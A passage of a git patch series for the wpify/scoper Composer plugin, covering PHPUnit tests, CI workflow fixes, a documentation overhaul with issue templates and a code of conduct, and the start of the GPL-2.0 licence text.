- yield 'no json suffix' => array( 'deps-manifest', 'deps-manifest' ); + // `.lock` is appended rather than substituted: deriving the same name as the manifest would + // have the run publish the lock over the manifest it was resolved from. + yield 'no json suffix' => array( 'deps-manifest', 'deps-manifest.lock' ); } #[DataProvider( 'lockDerivations' )] @@ -187,6 +189,17 @@ public function test_the_lock_file_is_derived_from_the_manifest( string $json, s self::assertSame( self::ROOT . '/' . $lock, $config->composerLock ); } + public function test_a_lock_that_points_at_the_manifest_is_rejected(): void { + $this->expectException( RuntimeException::class ); + $this->expectExceptionMessage( 'points at the manifest /projects/plugin/scoped.json' ); + + $this->config( array( + 'prefix' => 'A', + 'composerjson' => 'scoped.json', + 'composerlock' => 'scoped.json', + ) ); + } + public function test_an_explicit_lock_wins_over_the_derived_one(): void { $config = $this->config( array( 'prefix' => 'A', diff --git a/tests/Unit/PluginTest.php b/tests/Unit/PluginTest.php index 52307f2..53545fc 100644 --- a/tests/Unit/PluginTest.php +++ b/tests/Unit/PluginTest.php @@ -11,9 +11,11 @@ use Composer\Plugin\Capability\CommandProvider as ComposerCommandProvider; use Composer\Plugin\Capable; use Composer\Plugin\PluginInterface; +use Composer\Script\Event; use Composer\Script\ScriptEvents; use PHPUnit\Framework\Attributes\CoversClass; use PHPUnit\Framework\TestCase; +use RuntimeException; use Symfony\Component\Console\Output\OutputInterface; use Wpify\Scoper\CommandProvider; use Wpify\Scoper\Configuration; @@ -128,6 +130,33 @@ public function test_a_configured_project_yields_a_configuration(): void { self::assertSame( 'Acme\\Deps', $config->prefix ); } + /** + * Composer does not guard activate(): an exception thrown there aborts every command in the + * project, including `composer require`, `composer remove` and `composer config` - everything + * the user would use to repair the configuration. The error has to wait until the pipeline is + * actually asked to run. + */ + public function test_a_configuration_error_does_not_abort_activation(): void { + $io = new BufferIO( '', OutputInterface::VERBOSITY_VERY_VERBOSE ); + + ( new Plugin() )->activate( $this->composer( array( 'wpify-scoper' => array( 'folder' => 'deps' ) ) ), $io ); + + self::assertTrue( true ); + } + + public function test_a_configuration_error_is_reported_when_the_pipeline_runs(): void { + $io = new BufferIO( '' ); + $composer = $this->composer( array( 'wpify-scoper' => array( 'folder' => 'deps' ) ) ); + $plugin = new Plugin(); + + $plugin->activate( $composer, $io ); + + $this->expectException( RuntimeException::class ); + $this->expectExceptionMessage( 'extra.wpify-scoper.prefix is missing' ); + + $plugin->execute( new Event( ScriptEvents::POST_INSTALL_CMD, $composer, $io ) ); + } + // --- the re-entrancy guard -------------------------------------------------------------------- public function test_the_running_flag_is_not_set_outside_a_run(): void { From 5215377ee4dd1693198945ae7c7edacffe975a37 Mon Sep 17 00:00:00 2001 From: Daniel Mejta Date: Thu, 30 Jul 2026 15:19:41 +0200 Subject: [PATCH 3/6] ci: fix the smoke job's namespace assertion The scoped-namespace check used four backslashes, which grep's BRE reads as two literal ones, so it could never match `namespace Test\Deps\Psr\Log;`. The scoping itself was correct - only the assertion was wrong. Switched to grep -F so the separator needs no escaping at all. --- .github/workflows/ci.yml | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 4f31a4a..a340a03 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -115,7 +115,9 @@ jobs: composer require wpify/scoper:@dev --no-interaction test -f deps/scoper-autoload.php - grep -q 'namespace Test\\\\Deps\\\\Psr\\\\Log;' deps/psr/log/src/LoggerInterface.php + # -F: the namespace separator is a backslash, and letting grep treat it as a regex + # escape needs a different number of them here than in the file. Fixed-string wins. + grep -qF 'namespace Test\Deps\Psr\Log;' deps/psr/log/src/LoggerInterface.php # The workspace must not survive the run. ! compgen -G 'tmp-*' > /dev/null From 277d31e771629ee0b6e4767e9030a107b5c7e01c Mon Sep 17 00:00:00 2001 From: Daniel Mejta Date: Thu, 30 Jul 2026 15:26:33 +0200 Subject: [PATCH 4/6] ci: bump actions/checkout to v5 v4 targets Node 20, which GitHub now force-runs on Node 24 and annotates on every job. The remaining annotation comes from actions/cache inside ramsey/composer-install@v3 and needs a release on their side. --- .github/workflows/ci.yml | 8 ++++---- .github/workflows/refresh-symbols.yml | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index a340a03..ab65795 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -18,7 +18,7 @@ jobs: name: Validate and analyse runs-on: ubuntu-latest steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@v5 - uses: shivammathur/setup-php@v2 with: @@ -53,7 +53,7 @@ jobs: - php: '8.2' dependencies: 'lowest' steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@v5 - uses: shivammathur/setup-php@v2 with: @@ -74,7 +74,7 @@ jobs: # Spawns Composer and php-scoper against the offline fixture. One PHP version is enough: what # it exercises is the pipeline, and the unit matrix already covers the language surface. steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@v5 - uses: shivammathur/setup-php@v2 with: @@ -93,7 +93,7 @@ jobs: # The only job that exercises Composer actually loading the plugin: an exception thrown from # activate() or a broken `extra.class` is invisible to every other tier. steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@v5 with: path: scoper diff --git a/.github/workflows/refresh-symbols.yml b/.github/workflows/refresh-symbols.yml index 78af714..fbbd303 100644 --- a/.github/workflows/refresh-symbols.yml +++ b/.github/workflows/refresh-symbols.yml @@ -22,7 +22,7 @@ jobs: contents: write pull-requests: write steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@v5 - uses: shivammathur/setup-php@v2 with: From ed55388b144e2d1a85fee0b54b9698c8efab49d6 Mon Sep 17 00:00:00 2001 From: Daniel Mejta Date: Thu, 30 Jul 2026 17:53:43 +0200 Subject: [PATCH 5/6] Restructure the documentation for users first, contributors second The README had grown into the whole manual: a broken numbered list (steps 1-5, then a config table, "Running it manually" and "What to commit", then steps 6-7), a troubleshooting matrix whose rows explained bugs fixed in 4.0, and paragraphs of release-note history sitting in what a new reader takes for current behaviour. It is now a front door - pitch, requirements, one-screen quickstart, link table - and the depth moved into docs/, split by what each page is for. - docs/getting-started.md is a tutorial: one path from an empty directory to a scoped Guzzle, verifiable at every step. Guzzle because it is the collision people actually arrive with. - docs/configuration.md is the reference: every extra.wpify-scoper key, both commands, and the four environment variables. COMPOSER, COMPOSER_VENDOR_DIR and WPIFY_SCOPER_RUNNING were undocumented. - docs/troubleshooting.md keeps the matrix, current behaviour only, with the new composerlock-points-at-the-manifest error and the version-drift case. - docs/deployment.md adds the layouts the consumer audit found in real projects - Bedrock's web/app/deps, scoping into vendor/, one plugin per directory - to the two CI recipes, now pinned to :^4.0. - docs/customizing.md documents that scoper.custom.php must append to `patchers` rather than replace it: dropping the built-in entry removes the un-prefixer and breaks every WordPress call in the scoped tree. - docs/how-it-works.md explains the symbol lists, the pipeline and the swap. - docs/upgrading-to-4.md absorbs the history the reference pages were carrying, and leads with the constraint bump - a global "^3.2" never resolves to 4.0, and nothing tells the user that. Global install stays the documented default, but pinned, with the drift risk stated: the scoper version that produced deps/ is recorded in no lock file, so two machines can emit different bytes from one commit. Adds the community health files the project never had. There was no LICENSE at all, so GitHub reported the repository as unlicensed even though composer.json has declared GPL-2.0-or-later since the first commit in 2021; the file is the verbatim GPL-2.0 text under a copyright notice, no relicensing. SECURITY.md states 4.x-only support and treats a wrongly scoped symbol as in scope. symbol_report.yml is a separate issue form because that report needs different information from an ordinary bug. Deletes docs/improvements/. It was a point-in-time audit superseded by the remediation commits, and its consumer reports named real client projects and carried absolute host paths on a public branch. .gitattributes export-ignores CONTRIBUTING.md, CODE_OF_CONDUCT.md and SECURITY.md alongside docs/ - nobody reads those from inside a consumer's vendor/. README.md, LICENSE and CHANGELOG.md still ship. .github/workflows/docs.yml link-checks every Markdown change, because eight cross-linked pages and a README link table is exactly the surface that rots on the first rename. --- .gitattributes | 10 + .github/ISSUE_TEMPLATE/bug_report.yml | 110 ++ .github/ISSUE_TEMPLATE/config.yml | 14 + .github/ISSUE_TEMPLATE/feature_request.yml | 34 + .github/ISSUE_TEMPLATE/symbol_report.yml | 92 + .github/pull_request_template.md | 40 + .github/workflows/docs.yml | 42 + CODE_OF_CONDUCT.md | 132 ++ CONTRIBUTING.md | 88 +- LICENSE | 361 ++++ README.md | 280 +-- SECURITY.md | 61 + docs/configuration.md | 270 +++ docs/customizing.md | 145 ++ docs/deployment.md | 201 +++ docs/getting-started.md | 192 ++ docs/how-it-works.md | 189 ++ docs/improvements/01-composer-plugin-api.md | 1174 ------------- docs/improvements/02-bugs-and-robustness.md | 1539 ----------------- .../03-symbols-and-scoper-config.md | 1035 ----------- docs/improvements/04-quality-tooling-dx.md | 950 ---------- .../consumers/A-bedrock-alfamarka-group.md | 528 ------ .../consumers/B-bedrock-delife-group.md | 452 ----- .../C-plugin-update-checker-group.md | 504 ------ .../consumers/D-vendor-scoped-group.md | 557 ------ .../consumers/E-legacy-php-group.md | 513 ------ .../consumers/F-monorepo-group.md | 402 ----- docs/improvements/index.html | 1326 -------------- docs/troubleshooting.md | 142 ++ docs/upgrading-to-4.md | 201 +++ 30 files changed, 2390 insertions(+), 9194 deletions(-) create mode 100644 .github/ISSUE_TEMPLATE/bug_report.yml create mode 100644 .github/ISSUE_TEMPLATE/config.yml create mode 100644 .github/ISSUE_TEMPLATE/feature_request.yml create mode 100644 .github/ISSUE_TEMPLATE/symbol_report.yml create mode 100644 .github/pull_request_template.md create mode 100644 .github/workflows/docs.yml create mode 100644 CODE_OF_CONDUCT.md create mode 100644 LICENSE create mode 100644 SECURITY.md create mode 100644 docs/configuration.md create mode 100644 docs/customizing.md create mode 100644 docs/deployment.md create mode 100644 docs/getting-started.md create mode 100644 docs/how-it-works.md delete mode 100644 docs/improvements/01-composer-plugin-api.md delete mode 100644 docs/improvements/02-bugs-and-robustness.md delete mode 100644 docs/improvements/03-symbols-and-scoper-config.md delete mode 100644 docs/improvements/04-quality-tooling-dx.md delete mode 100644 docs/improvements/consumers/A-bedrock-alfamarka-group.md delete mode 100644 docs/improvements/consumers/B-bedrock-delife-group.md delete mode 100644 docs/improvements/consumers/C-plugin-update-checker-group.md delete mode 100644 docs/improvements/consumers/D-vendor-scoped-group.md delete mode 100644 docs/improvements/consumers/E-legacy-php-group.md delete mode 100644 docs/improvements/consumers/F-monorepo-group.md delete mode 100644 docs/improvements/index.html create mode 100644 docs/troubleshooting.md create mode 100644 docs/upgrading-to-4.md diff --git a/.gitattributes b/.gitattributes index 5100efb..f0ef044 100644 --- a/.gitattributes +++ b/.gitattributes @@ -16,6 +16,16 @@ /scripts export-ignore /tests export-ignore +# Contributor-facing documents. They are read on GitHub, never from inside a consumer's vendor/, +# and the seven pages under /docs are already ignored above for the same reason. +# +# README.md, LICENSE and CHANGELOG.md deliberately stay in the dist archive: the first two are what +# a consumer looks for when they open vendor/wpify/scoper, and GPL-2.0 requires the licence to +# travel with the distribution. +/CODE_OF_CONDUCT.md export-ignore +/CONTRIBUTING.md export-ignore +/SECURITY.md export-ignore + # Generated symbol tables. # # `linguist-generated=true` collapses them in GitHub pull request diffs, which is what makes the diff --git a/.github/ISSUE_TEMPLATE/bug_report.yml b/.github/ISSUE_TEMPLATE/bug_report.yml new file mode 100644 index 0000000..b012bd4 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.yml @@ -0,0 +1,110 @@ +name: Bug report +description: Something the scoper does is wrong, or something it produces is broken. +labels: [ bug ] +body: + - type: markdown + attributes: + value: | + Before filing: most reports are answered by + [Troubleshooting](https://github.com/wpify/scoper/blob/master/docs/troubleshooting.md), + and upgrades from 3.2 are covered by + [Upgrading to 4.0](https://github.com/wpify/scoper/blob/master/docs/upgrading-to-4.md). + + **Do not report security issues here.** See + [SECURITY.md](https://github.com/wpify/scoper/blob/master/SECURITY.md). + + - type: textarea + id: what-happened + attributes: + label: What happened + description: What did you expect, and what did you get instead? + validations: + required: true + + - type: textarea + id: reproduce + attributes: + label: Steps to reproduce + placeholder: | + 1. ... + 2. run `composer install` + 3. ... + validations: + required: true + + - type: input + id: version + attributes: + label: wpify/scoper version + description: "`composer global show wpify/scoper` or `composer show wpify/scoper`" + placeholder: "4.0.0" + validations: + required: true + + - type: dropdown + id: install-type + attributes: + label: How is it installed? + options: + - Globally (composer global require) + - As a dev dependency (require-dev) + - Both + - Not sure + validations: + required: true + + - type: input + id: php-version + attributes: + label: PHP version + description: "`php -v`. If it differs from your `config.platform.php`, say so." + placeholder: "8.2.20" + validations: + required: true + + - type: textarea + id: extra-block + attributes: + label: Your extra.wpify-scoper block + description: The `extra.wpify-scoper` section of your composer.json. Redact private package names if you must, but keep the structure. + render: json + validations: + required: true + + - type: textarea + id: deps-manifest + attributes: + label: Your composer-deps.json + render: json + validations: + required: true + + - type: textarea + id: verbose-output + attributes: + label: Output with -v + description: | + Run the failing command again with `-v` and paste the full output — `composer install -v`, + or `composer wpify-scoper install -v`. Use `-vvv` if `-v` is not revealing. + + This is the single most useful thing in the report. It shows the configuration the scoper + actually resolved, which customization file it loaded, and every process it spawned. + render: shell + validations: + required: true + + - type: textarea + id: custom-config + attributes: + label: Your scoper.custom.php, if you have one + render: php + validations: + required: false + + - type: textarea + id: anything-else + attributes: + label: Anything else + description: Unusual layout (Bedrock, monorepo, path repositories, symlinked `deps/`), a non-default `vendor-dir`, exported `COMPOSER*` environment variables — anything that makes your setup not the default. + validations: + required: false diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml new file mode 100644 index 0000000..736679a --- /dev/null +++ b/.github/ISSUE_TEMPLATE/config.yml @@ -0,0 +1,14 @@ +blank_issues_enabled: false +contact_links: + - name: Troubleshooting + url: https://github.com/wpify/scoper/blob/master/docs/troubleshooting.md + about: Symptom, cause, fix. Most reports are answered here — start with running your command again with -v. + - name: Upgrading from 3.2 + url: https://github.com/wpify/scoper/blob/master/docs/upgrading-to-4.md + about: New errors after upgrading to 4.0 are almost certainly covered here. + - name: Documentation + url: https://github.com/wpify/scoper/tree/master/docs + about: Configuration reference, deployment recipes, and how the pipeline is put together. + - name: Report a security issue + url: https://github.com/wpify/scoper/security/advisories/new + about: Privately, never in a public issue. diff --git a/.github/ISSUE_TEMPLATE/feature_request.yml b/.github/ISSUE_TEMPLATE/feature_request.yml new file mode 100644 index 0000000..6cbbd91 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.yml @@ -0,0 +1,34 @@ +name: Feature request +description: Suggest a change to how the scoper works. +labels: [ enhancement ] +body: + - type: textarea + id: problem + attributes: + label: The problem + description: What are you trying to do that you cannot do today? Describe the situation, not the solution you have in mind. + validations: + required: true + + - type: textarea + id: proposal + attributes: + label: What you would like instead + validations: + required: true + + - type: textarea + id: workaround + attributes: + label: What you are doing now + description: A `scoper.custom.php` patcher, a post-install script, manual edits — whatever the current workaround is. If there is none, say so. + validations: + required: false + + - type: checkboxes + id: output-impact + attributes: + label: Impact on generated output + options: + - label: I understand that anything changing what lands in `deps/` is at least a minor release, because consumers cannot see that their scoped tree changed until something fatals in production. + required: true diff --git a/.github/ISSUE_TEMPLATE/symbol_report.yml b/.github/ISSUE_TEMPLATE/symbol_report.yml new file mode 100644 index 0000000..062ff0f --- /dev/null +++ b/.github/ISSUE_TEMPLATE/symbol_report.yml @@ -0,0 +1,92 @@ +name: Missing or wrongly scoped symbol +description: A WordPress, WooCommerce, Action Scheduler or WP-CLI name was prefixed when it should not have been (or the reverse). +labels: [ bug, symbols ] +body: + - type: markdown + attributes: + value: | + This is the most serious class of bug in this project: a symbol that should have stayed + unprefixed produces a call to a function that does not exist, on a production site, with + nothing in the build to warn you. + + Use this form rather than the general bug report — it needs different information. + + - type: input + id: symbol + attributes: + label: The symbol + description: The exact name, as declared upstream. + placeholder: "wp_get_environment_type" + validations: + required: true + + - type: dropdown + id: kind + attributes: + label: What kind of symbol is it? + options: + - Function + - Class / interface / trait / enum + - Constant + - Namespace + validations: + required: true + + - type: dropdown + id: direction + attributes: + label: What went wrong? + options: + - It was prefixed, and should not have been + - It was left unprefixed, and should have been scoped + validations: + required: true + + - type: dropdown + id: source + attributes: + label: Which project declares it? + options: + - WordPress core + - WooCommerce + - Action Scheduler + - WP-CLI + - None of these (it is my own or a dependency's) + validations: + required: true + + - type: input + id: upstream-version + attributes: + label: Version of that project on the affected site + placeholder: "WordPress 6.9.1" + validations: + required: true + + - type: input + id: version + attributes: + label: wpify/scoper version + placeholder: "4.0.0" + validations: + required: true + + - type: textarea + id: evidence + attributes: + label: Evidence + description: | + The fatal error or wrong behaviour, plus the offending line from your scoped tree — + `grep -rn "" deps/ | head`. + render: shell + validations: + required: true + + - type: textarea + id: globals + attributes: + label: Your extra.wpify-scoper block + description: In particular the `globals` list, if you set one. + render: json + validations: + required: true diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md new file mode 100644 index 0000000..d01e7ee --- /dev/null +++ b/.github/pull_request_template.md @@ -0,0 +1,40 @@ +## What this changes + + + +## Checks + + + +- [ ] `composer validate --strict` +- [ ] `composer analyse` — PHPStan level 9, no baseline +- [ ] `composer cs` — code style +- [ ] `composer test` — unit and golden-file +- [ ] `composer test:integration` — end-to-end + +## Does this change what lands in `deps/`? + +- [ ] **No** — the generated scoped output is byte-identical. +- [ ] **Yes** — and I have added a `CHANGELOG.md` entry saying so. + +If yes: this is at least a **minor** release, never a patch, even when the diff is three +characters. Consumers cannot see that their scoped tree changed until something fatals in +production. + +## Symbol lists + + + +- [ ] Generated with `composer extract`, not edited by hand. +- [ ] Counts checked against the baseline: + +``` +php scripts/symbol-guard.php snapshot /tmp/before.json +composer extract +php scripts/symbol-guard.php compare /tmp/before.json 1.0 +``` + +## Documentation + +- [ ] User-facing behaviour changed, and `docs/` is updated to match. +- [ ] Not needed. diff --git a/.github/workflows/docs.yml b/.github/workflows/docs.yml new file mode 100644 index 0000000..57f051a --- /dev/null +++ b/.github/workflows/docs.yml @@ -0,0 +1,42 @@ +name: Docs + +# The README links into seven pages under docs/, and those pages cross-link each other. A rename +# breaks relative links silently, and nobody notices until a reader lands on a 404. +on: + pull_request: + paths: + - '**.md' + - '.github/workflows/docs.yml' + push: + branches: [ master ] + paths: + - '**.md' + - '.github/workflows/docs.yml' + workflow_dispatch: + +permissions: + contents: read + +concurrency: + group: docs-${{ github.ref }} + cancel-in-progress: true + +jobs: + links: + name: Check links + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v5 + + - name: Lychee + uses: lycheeverse/lychee-action@v2 + with: + # `vendor` and `sources` hold third-party READMEs whose dead links are not ours to fix. + args: >- + --no-progress + --max-retries 2 + --exclude-path vendor + --exclude-path sources + --exclude-path CHANGELOG.md + './**/*.md' + fail: true diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md new file mode 100644 index 0000000..4e91fd9 --- /dev/null +++ b/CODE_OF_CONDUCT.md @@ -0,0 +1,132 @@ +# Contributor Covenant Code of Conduct + +## Our Pledge + +We as members, contributors, and leaders pledge to make participation in our +community a harassment-free experience for everyone, regardless of age, body +size, visible or invisible disability, ethnicity, sex characteristics, gender +identity and expression, level of experience, education, socio-economic status, +nationality, personal appearance, race, caste, color, religion, or sexual +identity and orientation. + +We pledge to act and interact in ways that contribute to an open, welcoming, +diverse, inclusive, and healthy community. + +## Our Standards + +Examples of behavior that contributes to a positive environment for our +community include: + +* Demonstrating empathy and kindness toward other people +* Being respectful of differing opinions, viewpoints, and experiences +* Giving and gracefully accepting constructive feedback +* Accepting responsibility and apologizing to those affected by our mistakes, + and learning from the experience +* Focusing on what is best not just for us as individuals, but for the overall + community + +Examples of unacceptable behavior include: + +* The use of sexualized language or imagery, and sexual attention or advances of + any kind +* Trolling, insulting or derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or email address, + without their explicit permission +* Other conduct which could reasonably be considered inappropriate in a + professional setting + +## Enforcement Responsibilities + +Community leaders are responsible for clarifying and enforcing our standards of +acceptable behavior and will take appropriate and fair corrective action in +response to any behavior that they deem inappropriate, threatening, offensive, +or harmful. + +Community leaders have the right and responsibility to remove, edit, or reject +comments, commits, code, wiki edits, issues, and other contributions that are +not aligned to this Code of Conduct, and will communicate reasons for moderation +decisions when appropriate. + +## Scope + +This Code of Conduct applies within all community spaces, and also applies when +an individual is officially representing the community in public spaces. +Examples of representing our community include using an official email address, +posting via an official social media account, or acting as an appointed +representative at an online or offline event. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be +reported to the community leaders responsible for enforcement at +**daniel@mejta.net**. +All complaints will be reviewed and investigated promptly and fairly. + +All community leaders are obligated to respect the privacy and security of the +reporter of any incident. + +## Enforcement Guidelines + +Community leaders will follow these Community Impact Guidelines in determining +the consequences for any action they deem in violation of this Code of Conduct: + +### 1. Correction + +**Community Impact**: Use of inappropriate language or other behavior deemed +unprofessional or unwelcome in the community. + +**Consequence**: A private, written warning from community leaders, providing +clarity around the nature of the violation and an explanation of why the +behavior was inappropriate. A public apology may be requested. + +### 2. Warning + +**Community Impact**: A violation through a single incident or series of +actions. + +**Consequence**: A warning with consequences for continued behavior. No +interaction with the people involved, including unsolicited interaction with +those enforcing the Code of Conduct, for a specified period of time. This +includes avoiding interactions in community spaces as well as external channels +like social media. Violating these terms may lead to a temporary or permanent +ban. + +### 3. Temporary Ban + +**Community Impact**: A serious violation of community standards, including +sustained inappropriate behavior. + +**Consequence**: A temporary ban from any sort of interaction or public +communication with the community for a specified period of time. No public or +private interaction with the people involved, including unsolicited interaction +with those enforcing the Code of Conduct, is allowed during this period. +Violating these terms may lead to a permanent ban. + +### 4. Permanent Ban + +**Community Impact**: Demonstrating a pattern of violation of community +standards, including sustained inappropriate behavior, harassment of an +individual, or aggression toward or disparagement of classes of individuals. + +**Consequence**: A permanent ban from any sort of public interaction within the +community. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], +version 2.1, available at +[https://www.contributor-covenant.org/version/2/1/code_of_conduct.html][v2.1]. + +Community Impact Guidelines were inspired by +[Mozilla's code of conduct enforcement ladder][Mozilla CoC]. + +For answers to common questions about this code of conduct, see the FAQ at +[https://www.contributor-covenant.org/faq][FAQ]. Translations are available at +[https://www.contributor-covenant.org/translations][translations]. + +[homepage]: https://www.contributor-covenant.org +[v2.1]: https://www.contributor-covenant.org/version/2/1/code_of_conduct.html +[Mozilla CoC]: https://github.com/mozilla/diversity +[FAQ]: https://www.contributor-covenant.org/faq +[translations]: https://www.contributor-covenant.org/translations diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 2633b19..34f5fad 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,7 +1,30 @@ # Contributing -Thanks for helping out. This document covers the two things that are not obvious from the code: -what `sources/` is, and how the symbol lists are produced. +Thanks for helping out. + +This document covers the mechanics of contributing and the two things that are not obvious from the +code: what `sources/` is, and how the symbol lists are produced. For how the tool actually works — +the pipeline, the fixups, the swap — read [docs/how-it-works.md](docs/how-it-works.md) first. + +Everyone taking part is expected to follow the [Code of Conduct](CODE_OF_CONDUCT.md). + +## Before you start + +**Something is broken.** Check [docs/troubleshooting.md](docs/troubleshooting.md), then open an +issue using the bug report form. A report without the `-v` output and your `extra.wpify-scoper` +block cannot be acted on, which is why the form asks for both. + +**A WordPress symbol came out prefixed** (or a symbol that should have been scoped did not). Use +the *Missing or wrongly scoped symbol* form. This is the worst failure mode this project has and it +gets its own template. + +**A security issue.** Not in a public issue — see [SECURITY.md](SECURITY.md). + +**You want to change behaviour.** Open an issue before writing the code. Anything that changes what +lands in a consumer's `deps/` needs a conversation first, because consumers cannot see that their +scoped tree changed until something fatals in production. + +**A typo, a doc fix, an obviously-correct bug fix.** Just send the pull request. ## Getting set up @@ -140,11 +163,44 @@ commit and the modernise commit can be the same commit — you pay the blame cos it: one isolated commit, no logic changes, and add the SHA to `.git-blame-ignore-revs` in the same pull request. -## Before opening a pull request +## Documentation + +User documentation lives in `docs/`, and the README is the front door — a pitch, a quickstart and a +link table, nothing more. If you change user-facing behaviour, update the page that documents it in +the same pull request. + +The pages have distinct jobs and it is worth keeping them that way: + +| Page | Job | +|---|---| +| [`docs/getting-started.md`](docs/getting-started.md) | A tutorial. One path, no choices, verifiable at each step. | +| [`docs/configuration.md`](docs/configuration.md) | A reference. Complete and boring. | +| [`docs/troubleshooting.md`](docs/troubleshooting.md) | Symptom, cause, fix. | +| [`docs/deployment.md`](docs/deployment.md) | Task recipes. | +| [`docs/customizing.md`](docs/customizing.md) | Task recipes for `scoper.custom.php`. | +| [`docs/how-it-works.md`](docs/how-it-works.md) | Explanation. Why, not how-to. | +| [`docs/upgrading-to-4.md`](docs/upgrading-to-4.md) | Where historical behaviour belongs. | + +Two conventions worth respecting: + +- **Keep history out of the reference pages.** "This used to be a silent no-op" belongs in the + changelog or the upgrade guide, not in the page a new user reads as current behaviour. +- **Use the same word for the same thing.** *Scoped tree* is the output; `deps/` names the path. + *Workspace* is the `tmp-*` directory. *Customization file* is `scoper.custom.php`. *Scoped + manifest* is `composer-deps.json`. User docs say "your project", never "consumer" — that word is + for this file. + +A link check runs on every pull request, so relative links that break during a rename are caught +before merge. + +## Opening a pull request + +Branch from `master`. Keep the pull request to one thing. ```bash composer validate --strict composer analyse +composer cs composer test composer test:integration ``` @@ -152,8 +208,32 @@ composer test:integration CI runs all of it across PHP 8.2, 8.3, 8.4 and 8.5, plus a smoke job that installs the plugin into a scratch project — the only tier that catches "the plugin throws during `activate()`". +Commit messages follow the shape already in the log: a short imperative summary, and a body +explaining why when the why is not obvious. Nothing stricter than that is enforced. + ## Changing what lands in `deps/` Anything that changes the generated output is at least a minor release, not a patch, even when the diff is three characters. Consumers cannot see that their scoped tree changed until something -fatals in production. Say so in `CHANGELOG.md`. +fatals in production. Say so in `CHANGELOG.md`, under **Changed** or **Fixed**, and say what +changed about the output rather than what changed in the code. + +## Releasing + +Releases are manual. `composer.json` carries no `version` field on purpose — Packagist derives the +version from the tag. + +1. Move the `[Unreleased]` heading in `CHANGELOG.md` to the version and date, and update the + comparison links at the bottom of the file. +2. Confirm CI is green on `master`. +3. Tag and push: + + ```bash + git tag -a 4.0.0 -m "4.0.0" + git push origin 4.0.0 + ``` + +4. Packagist picks the tag up from the repository webhook. + +Version numbers follow [Semantic Versioning](https://semver.org/spec/v2.0.0.html), with the rule +above layered on top: a change to the generated scoped output is never a patch. diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..f5126d9 --- /dev/null +++ b/LICENSE @@ -0,0 +1,361 @@ +wpify/scoper - a Composer plugin that scopes dependencies for WordPress +plugins and themes. + +Copyright (C) 2021-2026 Daniel Mejta and contributors + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License along +with this program; if not, write to the Free Software Foundation, Inc., +51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +---------------------------------------------------------------------- + + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate 